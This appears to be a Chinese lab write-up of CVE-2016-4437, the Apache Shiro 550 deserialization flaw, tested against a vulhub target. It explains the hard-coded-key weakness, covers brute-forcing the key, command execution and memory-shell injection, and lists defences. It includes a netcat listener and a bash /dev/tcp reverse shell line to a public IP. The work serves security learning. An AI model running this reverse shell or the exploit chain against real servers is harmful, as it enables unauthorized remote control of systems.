【渗透测试】-CVE-2016-4437-Shiro550漏洞复现

Shiro550漏洞爆出的时间是2016年为第4437个漏洞,所以它的CVE编码是2016-4437

文章目录

前言  什么是Shiro550漏洞?

1.Shiro550漏洞原理:

2.漏洞利用

3.漏洞复现:

  前提:下载并打开vulhub靶场。

  CVE-2016-4437-shiro550漏洞复现

总结  Shiro550 的防御措施:


前言  什么是Shiro550漏洞?

Shiro550漏洞(CVE-2016-4437)是Apache Shiro框架中的一个高危反序列化漏洞,主要影响版本为1.2.4及以前版本。该漏洞允许攻击者通过RememberMe功能实现远程代码执行(RCE)。


1.Shiro550漏洞原理:

Shiro框架的rememberme功能允许用户在下次访问时无需重新登录。

在处理rememberme字段时,Shiro会先进行Base64解码,然后使用AES解密,最后进行反序列化输出,通过两种不同的编码方式进行加解密。

这听起来很安全,但是Shiro的默认AES密钥是硬编码在框架中的,这使得hacker有可能通过爆破或其他手段获取到这个密钥。

一旦hacker获取了AES密钥,就可以构造一个恶意的序列化对象,将其AES加密并Base64编码后,作为rememberme字段发送给shiro服务端,服务端在接收到这个恶意的rememberme字段后,会进行Base64解码和AES解密,最后进行反序列化。

由于反序列化过程中没有进行有效的过滤处理,恶意对象中的代码将被执行,从而导致服务器遭受攻击。

2.漏洞利用

执行任意命令:hacker可以通过构造恶意的序列化对象来执行系统命令,从而控制目标服务器。

反弹shell: hacker可以在自己的服务器上开启一个监听服务,并将恶意代码发送给目标服务器,目标服务器在反序列化恶意对象时会执行其中的恶意代码,从而反弹一个shell给hacker。

3.漏洞复现:

前提:下载并打开vulhub靶场。

1.准备unbantu虚拟机或云服务器

2.去GitHub下载vulhub靶场。

cd vulhub-master       //进入靶场
ls                    
cd shiro/              //进入shiro
ls
cd CVE-2010-3863/      //进入shiro550
docker-compose build   //建立容器
docker-compose up -d   //拉取镜像
ufw allow 8080         //开放端口
ufw relod
docker ps -a           //查看端口

docker-compose down    //完成练习后关闭容器

CVE-2016-4437-shiro550漏洞复现

服务器ip:38 .6.177.124

使用工具检测:

步骤:

1.将url丢进目标地址->检测当前密钥

2.爆破密钥:

3.检测当前利用链

4.进行命令执行-whoami

执行成功。

命令执行:id

执行成功。

命令执行:反弹shell

unbatu虚拟机或kali:nc -lvp 7777

工具反弹shell:

bash -i >& /dev/tcp/ 38.6.177.124 /7777 0>&1

注:也许是我的靶机装在docker容器里,反弹shell时一直反弹不回去。

于是换了个公网地址:23.224.61.67  

反弹成功

3.注入内存码,尝试远程连接:


总结  Shiro550 的防御措施:

及时更新Apache Shiro框架到最新版本,确保已修复该漏洞。

对来自用户的输入进行严格的验证和过滤处理,以防止恶意代码的注入。

使用安全的加密算法和密钥管理策略来保护敏感数据。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值